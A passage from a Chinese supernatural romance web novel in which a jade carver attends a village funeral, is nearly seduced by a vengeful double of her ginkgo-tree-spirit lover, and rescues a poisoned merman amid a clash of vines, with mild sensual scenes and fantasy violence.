这种感觉……似真有蛛网落下,萦绕在心头,扒住皮肉,拂不去,扔不掉。无形无色融入空气般地存在着,令人感到窒息。
这种关系若是仅存在于小说,岑让川一定会觉得畸形爱恋刺激又精彩。
可他真实地走进了她的生活,存在于现实。
她找到在后厨被阿婶们抓来揉面的严森,幽幽问:"严森啊,银杏树怕什么?"
此时,张奶奶民居里到处都是人。
灵堂那更是传来吵闹声,看热闹的围的跟铁桶似的,压根挤不进去。
只有后厨人少些,她一个瘦人还能挤进来找着人。
严森揉面揉得满头大汗,刚毕业的青春男大绷紧肌肉使劲在盆里鼓捣。
听到她问这问题,他动作缓了下来,疑惑地问:"怎么问这个问题?你家银杏树看着打蔫吗?"
呵,还打蔫。
人家精神焕发采阴补阳滋润地不行。
岑让川在心中冷笑,嘴上却接着套话:"啊,确实有点。"
“那可不行,千年银杏很珍贵的!”严森一听就把面团扔回不锈钢盆里,"我跟你回去看看。"
岑让川赶忙拉住他:“等等,不是什么大毛病!可能是我心理作用,今天阴天看着有点不精神而已!你别着急。”
“真的吗?”严森不放心用手背蹭了蹭脸,低低的颧骨上蹭上了点面粉,“我还是有点不放心,明天我去你宅子里看看?”
"也不用,你先告诉我,银杏树怕什么?"
严森想了想,面色变得有点凝重,"你平时没把生活污水用来浇树吧?"
"生活污水?"岑让川眼睛一亮,"洗衣粉水?肥皂水?!还是洗碗的水?"
"你……!"严森头皮都快炸了,拉着她去角落说悄悄话,“你不会真这么干了吧!?千年银杏是植物界的活化石!一级保护植物!你会坐牢的……”
他说到最后,忽而有道灼热的视线穿过人群朝他刺来。
严森抬头去看,对上后厨门外男人的目光。
银清只看了他一眼,面无表情地离开。
严森没在意,还想再劝岑让川两句:"宅子面积够大了啊,你要是嫌银杏树碍眼也不能……"
岑让川打断他:"我就问问!你想那么多干什么,那棵树我可喜欢了,就等它结果呢!你要是不放心,来我宅子看看。"
她就想知道怎么拿捏银清,让他别那么烦人,没想弄死他。
严森沉默一瞬,似是不忍心告诉她真相。
纠结半晌他才说:"你家那是雄性植株,结不了果。"
岑让川跟没听清似的:"啊?"
“银杏树分雄雌,雄的开花授粉,雌树结果,只有很少的一部分是雄雌同株。你家那个是雄树它不会结果……”严森认认真真给她科普。
岑让川认认真真听他说。
听到一半。
她反应过来,等等,她来找严森不是要问制裁银清办法的吗?
怎么空空的脑子突然被塞进了知识?
雄株开花,雌株结果?雌雄同株?
银清……
岑让川想起那天在池塘边草地上他如羊脂玉般散发着淡淡光泽的身躯……
也没发现雌雄同体的特征?
那他怎么结果?
她试图在银清身上寻找逻辑,最后恨不得给自己一巴掌。
真是被银清采阴采坏了脑子。
他本身就是一个不合逻辑的存在,自己居然试图去分析一棵雄株怎么结果。
她们在后厨交头接耳,外面闯进来一个蓝衣婶子,大嗓门喊道:"诶,那谁的表姐在不在?你表弟跟人吵起来了!"
后厨不少阿姨婶子,叽叽喳喳地问她到底找谁。
蓝衣婶子实在想不起名字,干脆说:"就那住凶宅的姑娘!"
话音刚落,所有人目光齐刷刷望来。
在角落鬼鬼祟祟摸鱼的两人骤然被逮住,抬头看过来。
外面人山人海,白幡白灯笼挂在屋檐下随风飘荡。
两旁花圈从灵堂摆到门外,蜿蜒地像两条大蛇。张奶奶的照片摆在桌案前,摆满鲜花水果。
云来镇德高望重的老人享有土葬告别仪式,是以在遗照前摆了具庄严大气的
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红漆棺材安放遗体。
棺材旁只有一个披麻戴孝看起来仅十几岁的小姑娘在烧纸。除她以外,所有宾客都不能越过高台上到棺材旁,只能老老实实在天井处烧纸跪拜致哀。
偏偏刘庆远非要推着自己七老八十的父亲去棺材旁烧香,说要看自己表姑母最后一眼。
他们平日里压根不联系这位远亲,几十年没见面,偏偏死后来,谁知道他要做什么。
小姑娘哭着拦他,头发花白的几名老人也在拦,就是不肯让他上前。
闹得沸沸扬扬之际,银清不知道从哪钻进人群,来到最前方。
在众人都没有注意到的时候,他已经盯了刘庆远老父亲好一会。
那是一位坐在木椅上已经非常非常老的老人,老到皮都挂不住肉,垂坠着往下掉,仅靠筋脉支撑,黏附在骨架上。他不知道已经活了多久,布满老人斑的薄薄皮肤下依稀能窥见骨骼形状。头发眉毛都已完全变白,仅余几绺在脑袋上颤巍巍地飘动。干枯苍老地像倒塌下的老树,内部完全被蛀空,只剩外壳还在奄奄一息。
银清面色平静地走上去,微凉的手翻转过老人手腕,按在脉搏上。
老人慢慢转过头,眼珠子却似翻不上去那般,只盯着他的手看。
脉搏隐隐绰绰如印在墙上的婆娑树影,随着日光暗淡,消失不见。
闷雷从厚重乌云中窜过,留下曲折的光痕。
隐约有雷声响起。
光线昏暗,民居内打开了灯。
银清没有理会刘庆远和其他人的吵闹,只淡淡地说了句:"你已经死了,怎么还不入土为安?"
他这句话似是询问,又似是自言自语。
音量不大,却如一滴水落入漆黑死潭,荡漾出无数涟漪。
率先注意到银清的,是侏儒风水师朱矮子。
他本就长得阴鸷狠戾,不像好人。
一开口,粗粝的嗓音更是让人生不起好感:"年轻人,说话当心点!我家老爷还在喘气呢!没见过人瑞就不要说话,在别人葬礼上诅咒我家老爷,太没教养了吧!"
离银清最近的老人也不满道:"小伙子,年纪轻轻嘴怎这般恶毒!不怕造口业吗?刘老爷子今年一百一十岁,还能走路哩。"
银清收回手,扯过老人手上的布边擦手边问:"那,还能吃饭吗?"
朱矮子和刘庆远面色一变。
老人冷哼:"说什么鬼话,人活着哪能不吃饭!"
"那正好。"银清微微笑道,“我刚刚听到老人家肚子咕噜噜地响,应该是饿了。你们拿点稀饭喂一喂老人家吧。”
刘庆远率先反应过来,猛地上前推了一把银清,骂道:"哪来的混小子,居然敢诅咒我爸!"
银清没有反抗,被他推地往后退去。
背后阿姨婶子的手往前撑住他,七嘴八舌地劝他赶紧走开,别在人家葬礼上说晦气话。
银清稳住身形后不依不饶:“他早就死了。你们为什么不安葬他?”
“你还说!”刘庆远气得抄起炭盆就要朝他砸来。
银清挣开她们,不闪不避。
琥珀色眼眸似能看穿一切。
剑拔弩张之际,人群中又两个身影如蝌蚪般奋力甩尾前行。
岑让川生知葬礼对人的意义,拨开人群看到这场面,怒了,骂道:“人家张奶奶在这举行葬礼你俩在这又唱又跳!没看到人家小姑娘都哭成这熊样了还好意思吵!”
她的话响彻灵堂。
这时,乌云像兜不住水的囊袋,被人轻轻一戳,纷纷扬扬落下雨珠。
雷电闪过,照亮灵堂。
也照亮了木椅上的百岁老人。
他半着阖眼,光芒闪过,勾勒出枯白的颅骨形状。
31. vintage古着衣5
白色雨棚在民居外被支起,犹如遍地生长的蘑菇。小雨打在棚子上,不多时檐边挂起珠帘。灰黑色水泥路地面,很快倒映出暖黄小灯。
已过正午,陆陆续续有菜出锅。
炊烟顺着烟囱袅袅升起,消散在雨幕中。
大半镇子上的人都来了,张奶奶附近的街坊邻居看到这情况,干脆收拾收拾开门也让前来悼念的人进门吃个饭。
严森和银清两个半大小伙再次被忙不过来的婶子们拖进后厨帮忙。岑让川只求婶子们别想不开让银清掌勺,他最近虽然下载了菜谱软件,但依旧时不时给她弄点新花样,理由是千年前没那么多食材,他想试试。
每天吃饭就跟开盲盒似的,有的吃进嘴里后,她只想让他去自己车子前看看车灯坏没坏。
刘庆远和朱矮子则被村支书们架出去吃饭。
因着刘庆远是当老板的,他们不太敢得罪,好说歹说把人劝走,只留下人瑞老爷子坐在灵堂木椅上,静静地给自己远房表姐烧纸。
岑让川本来也想走,结果被那名披麻戴孝十几岁的小姑娘留下来。
灵堂上,顿时只剩她们三人。
如果老爷子算人的话……
银清那句“他早就死了”让灵堂上两个女性总是不由自主去瞧老爷子。
这不是好好的吗?
不爱说话而已,其他挺正常啊?
比起天生胆子较大的岑让川,小姑娘则害怕地微微发抖。
两人叠金元宝的速度远远比不上火焰吞噬的速度。扔进去的金纸不一会就被染上红色,迅速卷曲,边缘发黑直至成为一捧黑灰。火盆中,火苗明明灭灭跳动,随着风向起舞。
岑让川大姐姐心态爆发,温柔地问:“小姑娘,你叫什么呀?是张奶奶的亲传徒弟嘛?”
小姑娘把目光从肤色灰黄暗淡的老爷子身上收回,嗫嚅着说了句什么。她声音太小,细若蚊吟,岑让川只得靠近,耐心说:“你说什么呀?大点声嘛,姐姐听不到。”
“我说……”小姑娘咽咽口水,见她长得清灵秀雅,便大着胆子道,“小阿姨,你别夹了,我害怕。”
“……”岑让川一秒变脸,凶神恶煞道,“死小孩怎么说话呢!”
小姑娘眼里含着一泡泪:“……你让我说的。”
岑让川深呼吸一口气,调整回正常语气:“行了,小鬼,叫什么名字?”
她平常声音不仅不温柔还自带三分煞气,跟秀气外貌相比有些反差。
小姑娘听到她恢复正常,略略松口气:“我叫张白芨,你叫我白芨就好。”
“哪个及?”
“草字头,下面一个及时的及。”
“好少见的字。”
“是中药名呢。”白芨顺手把叠好的金元宝扔进火盆,“奶奶说,她上山出事那年一个小哥哥救了她,用的白芨止血。她捡到我的时候刚好我手边长着白芨,就给我取了这个名字。”
小哥哥?
是银清?
白芨继续念叨:“奶奶死前让我把遗书交给你表弟,我还没说呢,他好像知道,拿了就走,真是奇怪的人。他真是你表弟吗?你们两个长得完全不一样。按理说……”
“咳哕……”烧纸的老爷子似是呛到,不停咳嗽。
岑让川起身,要过去看看他的情况。
灵堂现在一老一少,她在中间还能顶点事。
可这时看着柔弱的白芨却拉住她,怯生生地摇头,似是告诉她别过去。
岑让川知道她是因为银清的话吓到。
那个狗男人……
成天顶着一张清冷高雅的脸不干人事。
"没事。"岑让川拍拍白芨的脑袋,走过去问,"老人家,别在这了。我带你去吃饭吧。"
虽然这老登是刘庆远他爸,毕竟是百岁老人,她从小被教育尊老爱幼,不可能放着不管。
老爷子喉咙里发出响亮的咯痰声,岑让川想去给他找纸巾包一包,他已经拿起手中金纸,把口里秽物吐进去包起,随手丢进火盆。
岑让川冷不丁望见金纸里包裹的浓痰似混了血,黑沉沉的。
白芨望见这一幕,愤怒压过恐惧。
张奶奶亲手将她养大,两人虽无血缘但早已是彼此亲人。
她站起来冲过去,像只愤怒的小羊羔,一脚把火盆踢进在往下泄水的天井,尖细的嗓音几近破音:"这是给我奶奶烧的金纸!你拿来包痰还丢进去烧!这是对我奶奶的侮辱,你给我走!这不欢迎你!"
火盆叮铃哐啷砸入天井,未燃尽的黄纸与灰烬铺出弯月形状,几点红色火星在雨中立时熄灭,漂浮在半空灰色碎末抵不过水气,随雨一齐落下。
淅淅沥沥的雨混在灰烬,片刻后天井砖石便被染黑。弯月氤氲出大片黑痕,像一大块砚台浸在水里,把整块画布晕得斑驳。
岑让川愣住。
隔了一道天井距离外吃席的众人也愣了。
给她们送饭的阿姨怔在沿廊不知所措。
四下寂静,唯余雨声。
还有白芨愤怒的喘息。
岑让川当然知道老登那样做不妥,只是一时被他这么大不敬的举动弄愣,加上他吐出的那口浓痰,丢进火里时似乎有什么东西在蠕动。
她把注意力拉回来,语气也有点不太好:"老爷子,移步去吃席吧。这烟灰呛人,对呼吸道不好。"
百岁老人抬不起头,脊椎跟有什么东西固定住那般,只能抬到平视的姿势,自然而然,就会显得无比怪异。
他浑浊如黄泥水般的眼睛往上翻,像在瞪人,嘴巴刚张开,就听到熟悉的声音从另一边走来。
"两个女人,欺负一个老人,太没教养了吧!"
粗粝的嗓音让岑让川不用双眼看就知道他是谁,直接骂道:"朱矮子,还没弄清怎么回事你先把道德高地占上了真牛根啊。怎么着,仗着个子矮先把人撞下去自个蹦上去?你家这位仗着自己年纪大拿金纸当浓痰兜子还丢火里怎么说?我把你烧过去你给张奶奶打扫干净?"
她嘴起人来半点不留情,声音又大吐字清晰,让不明真相的群众听清整件事情经过。
离张奶奶近的几桌人目光不善地起身,望过来的同时个个手里下意识拿了碗碟,似是要随时冲上来把老爷子架出去。
朱矮子没想到她离职后这么硬气,错愕一瞬便理亏地去扶老爷子。
经过岑让川身边时,他硕大鼻翼动了动,脸色阴沉下来:"原来是你。"
岑让川不明白他在说什么,但她早已习惯朱矮子神神叨叨,出声赶人:"再不把你家老爷子扶走,我就把你丢出去。"
朱矮子拿眼睛剜她,随后目光转到白芨身上,盯着她说:"你奶奶死时身上有块木牌,把它给我。"
白芨眼中闪过惊异:"我奶奶没说留给你。"
"那是我的。"
"那也不行。"白芨狐疑看他,干脆说,"我已经把牌子和遗书放一起给别人了。"
朱矮子脸色愈发阴沉:“你给了谁!”
“不知道,奶奶死时我放桌上,回来就不见了。”
朱矮子看她好一会,似在判断白芨到底说的是真是假。
最后,他丢下一句"那不是好东西"后扶着老爷子离开灵堂。
不是好东西?
不是你
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还要?
岑让川翻白眼。
灵堂重归安静,阿姨们端着饭上来。
两人坐在一边小桌上吃饭。
岑让川这时才知道云来镇有规矩,葬礼上亲近家属需要轮流守灵七天,天热则是三天,守过这段时间后才能下葬。
但白芨是张奶奶捡来的,让她一个十几岁的小女孩在灵堂呆三天三夜肯定不现实,于是跟张奶奶亲近的朋友都会轮流替代。
岑让川放心了点。
到了下午,她给张奶奶上完香就打算回老宅。
白芨送了她一瓶补肾的药。
小姑娘满脸通红,嗫嚅着说注意身体。
岑让川:"……"
她尴尬地接下,转身杀气腾腾地去找银清。
找遍张奶奶民居都找不到他人。
死小子哪去了?
岑让川问好几个人都说没看到,连严森都不知道去了哪。
镇子就这么大,他这么大个人,人贩子都不带看两眼。
要是不认得路,鼻子底下就是嘴。
来回撑死半小时的路她不信他找不回来。
岑让川心安理得借了一把伞把自行车骑回去。
此时雨还在下,青石板路面湿漉漉的容易滑倒。两旁鹅卵石缝隙里有雨水流动,犹如山峦起伏间奔腾的细长河流,循环往复。
天色昏暗,家家户户都透出暖光,路灯提前打开,倒映在湿淋淋的雨地,明灿灿的像繁星坠落,晃得人眼睛疼。
她顺道买了些便宜点心,打算投喂鲛人。
挂在车把上就这么摇摇晃晃地来到附近。
桥边早已站了个人,一身暗纹黑衣。
长到腰际的墨发微微卷曲,用玉簪簪起。他没有打伞,长发衣服都湿透,贴在身上隐现出清瘦的线条。
银清听到车声望过来。
浅浅的琥珀色眼眸倒映出她的身影,澄澈剔透。
雨水顺着他额前碎发落下,淌过眉弓,长睫上挂满雨珠,颤巍巍地滴下,似在流泪。
岑让川翻了个白眼,将自行车停在他面前,刚想说几句戳心窝子的话,眼睛触及到他水灵灵的脸时又移不开了,气也消散大半。
银清半敛下眸,用一双湿透的眼睛看她,似有千言万语欲说还休。
他见她停下,一言不发钻进她的伞下。
岑让川视线便停留在他透粉淡唇上,雨水淋在上面,线条柔和而模糊,如同涂抹一层冰透糖衣,只要咬破就可以尝到底下绵软甘甜的滋味。
"不要生我气了好不好,我错了。"银清乖顺地弯下腰,指了指车把上的点心,"我忙了一天没吃饭,特意给我带的?"
给鲛人带的。
五个字,她愣是咽下了。
被雨淋湿的他,平日里的冷清端雅都化作惊心动魄的脆弱姿态。
"让川……"
他柔声唤她名字,慢慢贴了过来。
宅子门被撞开,又被狠狠关上。
壁照前闪过纠缠的黑影,沿廊下淅淅沥沥雨幕如珠,坠地那刻泛起满地碎光。
她把他摁在柱子上,拉着他的衣领强迫他低头。
他缓缓松开牙关,似是第一次学会亲吻。
岑让川伸手去拧他的盘扣,解到第三颗扣子时,突然想起来一件事。
银清……
今天穿的不是白色孝服吗?
如雷霆乍惊,她摁在他锁骨上,猛地分开两人。
银清微微喘气,眼周潮红一片,他不解看她。
岑让川却从他眼眸中看到自己背后……有一把刀。
正正好好抵在她心口。
32. vintage古着衣6
岑让川第一反应是掐住他的肘关节,不让他有任何动作。
她仔细去看他的眼睛,发觉似乎是自己看错,那把刀更像是屋檐滴水,滴到叶片上反射出的光。那片叶子长条且锋利,因那次银清绞杀鲛人,满池血水促使前院植物长得又快又茂盛。这棵树的叶子恰好伸进沿廊,造成视觉上的错觉。
“怎么了?”突然停下,他盯着她问。
岑让川感觉他似乎和平时有点不太一样,到底哪不一样她又说不出来。
"没什么。"
"那……继续?"他主动解开盘扣,引诱她抚摸自己每寸肌肤。
他凑近,呵出的气息洒在她耳边,轻缓暖风中草木香气弥漫,馥郁浓烈地像滚入花田,压折大片花草,汁液溅出,染地衣服上都是香气。
岑让川望着他湿漉漉的脸靠近,不断放大。
白玉般的皮肤看不到一丝毛孔,犹如一张白纸。两颗琉璃珠子由泛着金棕色的眼睫勾勒出长而宽的金色溪流,水边氤氲出淡红色泽,水色潋滟,倒映出浓密的阴影。
她没忍住,将他两只手反剪至身后,埋入他的肩窝,在他颈上皮肤留下一个又一个暧昧痕迹。
"啊……呃。"他今日异常放.浪,主动迎合她,甚至几乎要挂在她身上。
岑让川去捂他嘴:"才刚开始,叫那么大声干什么。"
以前她让他出声,他跟哑巴一样,非得在撑不住时才哼哼唧唧压抑着喘两嗓子。
这里虽然没别人,但他的分身鲛人还在这呢!
而且一看就是没开窍的,成天只惦记着吃吃喝喝。
正想着,沿廊尽头传来"嘎吱嘎吱"咀嚼脆物的声响。
如蛇行般的细微轻响在看到纠缠的两道人影时蓦地停住。
鲛人在月洞门处摔进草丛的慌乱,其中夹杂其他乱七八糟的动静格外大,还有他的求饶声。
"啊啊啊啊你们现在怎么都在廊上不能回屋做吗!我走,我立刻走!别杀我!我就是出来吃东西!"
他叨叨一大堆,也没见身后有什么动静。
反倒是地下传来隐约震动。
鲛人觉察到不对劲,紧爬两步后停了下来。
同时觉察到不对劲的还有岑让川。
他为什么……听到鲛人爬过来,没有丝毫反应?
雨还在下着。
滴滴答答从树叶流下,濡湿她后背一缕头发。
湿淋带着寒意渗入,她的背脊逐渐发凉。
岑让川慢慢松开牙关,带着不确定,手慢慢往下,按住平日里随意刺激就如塘底鹅卵石那样硬滑的地方。
没有?
怎么会?
"你们……在干什么?"
没有任何预兆。
离大门口最近的月洞门传来银清的声音。
他说话又轻又慢,像风一样送到耳边。
岑让川骤然清醒。
她才退后一步,背后心口处已抵上刀尖。
"我们在做什么,你不知道吗?"面前着黑衣的银清也说话了,拨开衣领让他看得更清楚些,语气轻蔑中带点嘲弄,"和她一起这么多次,一定挺舒服?我不能试试吗?"
话音落下,宅子陷入死寂。
雨声不断,甚至有越下越大的趋势。
岑让川僵在原地,左看是白日里穿白衣丧服的银清,发型、衣着、细节全都跟她记忆中的银清对的上号。
面前是在桥边出现的银清,发型披散,一身黑衣,浑身湿透。
他是突然而然出现,却并不违和,像树梢上滴落在她肩头的一滴水,她能觉察到他的存在,却把他的存在当作习以为常。
而且……
他和她道歉,刻意引诱……
与前提剧情都对上了。
使一切不合理的地方都成了理所当然。
岑让川平时从不关注银清簪什么款式的簪子,只有他是长发的模糊印象。
于是他簪了还是没簪,她没有注意。
她也从不关注他穿什么衣服,只要不是太奇怪。
他的衣服从深到浅,都是中式风格,偶尔不带盘扣。
衣服而已,可能雨天淋湿换了呢?
他从民居消息,她到处找不到他,回来时看到他,换了身衣服……
雨天换衣服,不是很正常吗?
银清站在不远处望着她,第一次对今世的她也不爱他有了实际感受。
怎么会这样啊……
他以为,她至少,对他有一点点特殊呢?
原来,是不是真正的他,她都没有注意……
"岑让川。"他第一次喊她全名。
被点到名的人立时毛骨悚然。
银清平静地问:“你喜欢晒太阳吗?”
他的语气很平静,眼中却透着浓稠到化不开的悲哀情绪,仿佛是个巨大的深渊海沟,所有的一切都将流入其中,不得脱逃。
岑让川不知道该说喜欢还是不喜欢,她下意识望向宅子里可信度较高也更为单纯的鲛人方向。
偷摸探出头嘴上还有薯片碎末的鲛人冷不丁跟她对视,感受到白衣银清刺来的目光,汗都下来了。
她看他做什么!
他不过是路过的!
岑让川不了解鲛人,误将他的回避当作是回答。
她壮着胆子回答:"不太喜欢。"
“噢,是吗……”银清温柔地笑了笑,"我还是人类的时候,也不太喜欢晒太阳。要不是你说,林清,肤色过白看起来太过羸弱,我连阴天都要打伞的。天光亮起,不论阴天晴天,我都觉得……好刺眼啊……"
“岑让川,我的尸骨就深埋在银杏树下,你既然不喜欢太阳,那就躺在我旁边。放心,我的棺椁很大,可以容得下两个人。”
话音落下。
黑衣银清瞳孔陡然紧缩成小点,控制不住要将手里的刀送进岑让川胸膛。
等等。
不对。
不是这样的!
他真正目的不是这个!
他这一犹豫,让岑让川瞬时明白自己的处境。
银清真正对自己动了杀心。
就因为自己……差点上了他的分身?!
她理解不了银清从前世的她延续到现在的她那浓厚到密不透风的爱来自何处。
上千年时光,日月荏苒,再怎么喜欢一个人也该放下了啊!
岑让川几乎没怎么思考,直接抬腿往鲛人方向跑去。
鲛人惊恐万状,像上岸后想要挣扎跳回水里的鱼,转身就往后院爬,一边爬还一边喊:“你不要过来!!!”
银清已经疯到连她都要杀了,还有什么是他不敢干的!
身为银清的眼中钉肉中刺,鲛人刚被分裂出来就差点被他掐死,遑论现在?
岑让川刚往前跑出几步,脚踝处传来束缚感。
她猛地扑倒,右手恰好抓在人鱼尾巴上。
“啊!”鲛人惨叫一声,连尾巴带人都被往后拖。
他就来看个热闹!为什么要拉他垫背!
岑让川知道这样不好,但她想要活下去也只能抓住鲛人。
银清融不回他的鲛人分身,又不肯说原因,那么,她的一线生机可能就在鲛人身上!
细长藤蔓从脚踝缠上,已经爬上她的小腿,像踩进蛇窝,无数条蛇蜂拥而上,冰冷有力的蛇身绞紧每寸皮肤。
岑让川用力把鲛人拖到自己面前,抓着他双臂吼:“快告诉我怎么制止他!”
鲛人恐慌地挣扎,他的鱼尾也被缠上藤蔓,嘴巴里滋哇乱叫一通,压根不知道他在说什么。
岑让川情急之下“啪”一巴掌扇在他脸上,鲛人立即冷静下来,瞪大双眼捂着脸,望向她背后。
她背后!
那两人!
缠至小腿的藤
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蔓不知何时慢下来,岑让川慢慢转过身回头。
眼角余光一片绿。
枝繁叶茂。
沿廊被藤蔓塞满,外层中空部分织成一张网,直接将整条沿廊笼罩,几缕天光从罅隙中泄入,雨水从枝叶顺流而下,流进长廊地面砖石上。她适应这昏暗的光线后才看清有两个大茧高挂半空。
绿色的,黑色的,两色藤蔓分立两处,裹出巨大的椭圆。藤蔓还在不断蠕动收紧,尤其是黑色的藤蔓竟长出尖刺,尖尖部分细看下还在不断溢出蓝绿色汁液,滴到地上,与雨水混合。
岑让川没感到身体有什么异常,只是小腿处缠绕过紧,有点供血不足的寒凉。
她正想办法自救,手已经摸到口袋,掏出惯常用的快递小刀。
一旁鲛人忽然如生鱼蹦进油锅,甩着尾巴又哭又叫又喊在地面上乱弹乱跳。他动作太大,溅起的水点子如花洒般砸过来。
岑让川真是服了,千钧一发之际她只能想出把鲛人拉下水保命,没想到这家伙现在居然给她拖后腿。
“别甩了!呸呸呸……呕……”
溅进嘴里的水点起初还觉得是普通脏水,越到后边越是苦麻辣,跟在黄连汤里倒辣椒油似的,从舌尖到喉管几乎要灼出血洞。
她疼得忍不住咳嗽,几点猩红喷在湿淋淋的地面,如在夜晚草丛中开出的玫瑰花苞。
岑让川怔住。
她这是,吐血了?
“别发愣了!救我啊!快救我啊!”
鲛人那边情况更惨不忍睹。
他浑身泌出青色黏液,大片皮肤脱落,露出底下带血丝红玉般的真皮。姣好的面容此刻白一块红一块,跟鬼一样吓人,眼看是要毁容。
鲛人被禁锢在流满黑水的地面,尾巴上的鳞片随着皮肤长发一块剥落,连叫的力气都快没了。
岑让川颤着嗓子:“这水……有毒?”
以往银清从不会分泌出这种的汁液,那就只能是突然出现的黑衣银清。
可奇怪的是,他们明明是一个人,为什么另外一个的藤蔓是黑色的,还会长刺,流出毒液?
她想不明白,干脆拿出折叠小刀,趁着这两人自相残杀互把对方裹成茧的空档,一个鲤鱼打挺,把脚上缠着的绿色藤蔓割开。
鲛人以为她脱身后会救自己,谁料她起身后,头也不回地往未被封锁通往主屋小楼的月洞门方向跑。
这死女人居然这么狠心?!
鲛人见识到她的无情无义,不由目瞪口呆,等他反应过来,人已经跑出两米开外。
刚刚他是她唯一的变数中的生机。
那现在宅子里,两个银清相争,受伤的只有他这只无辜又可怜的小鲛人。不论他们谁争赢了,自己还是死路一条。
这两位爷,没一个好惹的,其中一个居然还背着人偷偷长出毒刺。
想来想去,自己唯一的一条活路就是岑让川。
鲛人欲哭无泪,拼尽全力大喊:“岑让川!别丢下我,把我一块带走啊啊啊!”
他十分确定以及肯定,那个死女人听到了。
但她愣是不回头,看方向是要去收拾行李从宅子后门跑路。
“带上我!我给你哭出珍珠保你下半辈子荣华富贵!”鲛人毫不犹豫开出条件。
岑让川果然听到了,犹豫三秒,跑了回来。
在她距离鲛人不过半米之时,绿藤蔓如箭,射穿地砖,生生将砖石砸出大洞,差点没把鲛人叉成死鱼。
黑色藤蔓大茧晃动变形,似里面有人在挣扎,随时会破茧而出。
岑让川没出息地转身就跑。
鲛人咽咽口水,干脆使出最后的杀手锏:“我能哭出20毫米无瑕彩虹光海水圆珍珠!”
他相信身为玉雕师的岑让川知道这意味着什么。
果然,才跑出去没两步的人折返回来,摊开手道:“定金。”
鲛人气笑了。
33. vintage古着衣7
20毫米无瑕彩虹光海水圆珍珠。
岑让川身为玉雕师,算是珠宝圈里的一员,不过是被压榨的底层。
平日里关于珠宝拍卖新闻看多了加上平日接触得多,耳濡目染下,能估出市面上大部分珠宝品类的价格,误差也仅在三百块之间。
按鲛人说的珍珠规格,保守估计能到七位数。
她拿着快递刀,用力割去捆在鲛人尾巴上的藤蔓。
银清的绿色藤蔓好处理很多,蜿蜒圆润,每隔一段距离长了些银杏叶和未成熟的白果。
他的分身,黑衣银清的藤蔓就不太好处理了。
岑让川挠挠脑袋,盯着扎进鲛人尾巴肉里的毒刺。
鲛人鱼鳞被硬生生掀开,毒刺扎入白色鱼肉,还在源源不断往里注射毒液。
"你再不快点……"鲛人脸色已然蒙上一层黑雾,眉心发蓝发绿,颧骨两侧生出细密的鳞片,似是要异变。
他奄奄一息道:"他在吸收我的生命。如果任由他这么下去,银清和我都会被他吞噬。你可要想清楚,现在的银清你哄他两句,至少他还是爱你的,不会过于出格。这个新来的,是由银清怨恨所化,无情无爱。一旦彻底取代银清孵化落地,你会被他追杀到天涯海角。有钱没命花。"
岑让川咽咽口水:“不,不至于吧……”
“哼,不至于。”鲛人虚弱道,“他刚刚不杀你,你就当他是好人了?人类是女娲的孩子,自人出生以来,便默认由神明保护。他不杀你,纯属是怕引来天劫!劈死那棵银杏树,我们都会活不下去。”
岑让川不由望向黑藤蔓大茧,银清如果真的被取代,分身抹杀主体取而代之……
她就站在人家的树根上,到时候真要如鲛人所说,除非她换个星球生活,不然当真是……有钱没命花。
二人正说着,一根绿色藤蔓悄然从黑色大茧里探出,前方结出了一个硕大的白果。
鲛人没来得及提醒,岑让川后背就重重挨了一记。
她猛地往前扑,压在鲛人身上。手掌浸入雨水毒汁和从他们身上流出的汁液中,她还没怎么样,快被她压吐血的鲛人伤上加伤,眼看就要不行了。
保龄球般大小的白果在砸完她后似是完成了什么使命,飞快发黄枯萎,绿藤蔓无力垂落,白果脱离坠落,砸在地上,溅起一片水花。
“……你是不是有病!这个时候还争风吃醋!”岑让川从鲛人身上爬起来,对着黑藤蔓大茧破口大骂,"你现在这样子我看你怎么奈何我,你就吊着吧。我把这条鱼带走,以后衣食无忧咱们老死不相往来!"
她说完,那根藤蔓微微抬起头,像是还想揍她,最终因为衰弱,焉巴巴地垂下,掉进满是毒液的水中。
岑让川脱下外套擦去手上的汁液,割断一只袖子包住鱼尾上泌出毒汁的黑藤蔓后去用小刀切开。
尖刺已经深入肉里,她随便轻微的动作都能让鲛人疼得叫出声。
"轻点,轻点啊!"
"好痛,你能不能温柔点!"
“慢点,好疼。啊——”
岑让川割得满头大汗,随着鲛人的一声又一声压抑的喊叫,她终于忍不住幽幽看他,威胁道:"你再给我乱七八糟喊一通我现在就把你丢这!"
银清第二次和她在招待所浴室刚开始做的时候就是这么喊的!
鲛人顶着银清的脸,又是和他一样的声音,喊得人心黄黄不说,从茧子里垂下的绿藤蔓努力抬起多次,虎视眈眈地恨不得给她们这对奸.夫.淫.妇捆一块勒死。可它终究是如断翅蝴蝶,彻底没了声息。
好不容易解开鲛人鱼尾上的藤蔓,岑让川仔细看他的伤口,原本有花瓶粗细的鱼尾和鱼身衔接处被毒刺扎得破破烂烂,银白鱼尾已经摇摇欲坠,像要断掉般。
蓝绿色汁液从断口处渗出,顺着鱼尾滴入毒汁,二者相生相克,浓烟冒出,下雨时浓郁的土腥味都盖不住此处腐烂的草叶味。
她用干净的外套裹住他伤处,深呼吸一口气想抱起他。
银清她随随便便就能打横抱起,鲛人看着羸弱却似有千斤重,她压根抱不起来!
“你吃什么长的这么重!”岑让川不死心,还想再试试。
她抓住鲛人手臂放在自己肩膀上说道:“你也给我用点力,上半身支楞起来,压我肩膀上!”
鲛人战战兢兢盯着茧子,他与银清感官相通,能觉察到银清怨愤的情绪,哪敢这么亲密无间任她抱起。
“你,你要不让我爬过去吧……”
“赶紧给我用力。”岑让川不耐烦道,再次使出吃奶的力气抱起他。
手机在口袋里发出震动,不知是谁给她打电话。
鲛人战战兢兢按照她说的话将上半身重量压到她身上。
这次,岑让川堪称顺利地鲛人抱起,头也不会地往后院走去。
在她身后,那根泛黄正逐渐枯萎的藤蔓向前生长一寸,堪堪触碰到她的脚腕便软绵绵地化成枯藤。
她们消失在月洞门处,沿途留下脚印,过了檐廊后湮没在大雨滂沱中。
无人注意到的黑色藤蔓正在不断变大,扭曲,复又淌下无数汁液。被捆在里面的人挣扎数次后再次恢复寂静。在他对面的绿藤蔓不断颤动,又缠上一根藤蔓后彻底安静。
大门除,门栓被风吹得从凹槽处滚到地上。
寒风滚着雨丝灌入宅子。
惊雷乍响,一片红色衣角淌着水出现在门外。
有客到访。
无人知晓。
主屋小楼处。
岑让川淋着雨,依靠经验要把鲛人埋入地下。
“别把我埋进去!你带我去后院有活水的地方!”鲛人死死抱住她,生怕挨到地面,银清虽然被黑藤蔓裹成球,但难保他还有绞杀自己的余力。
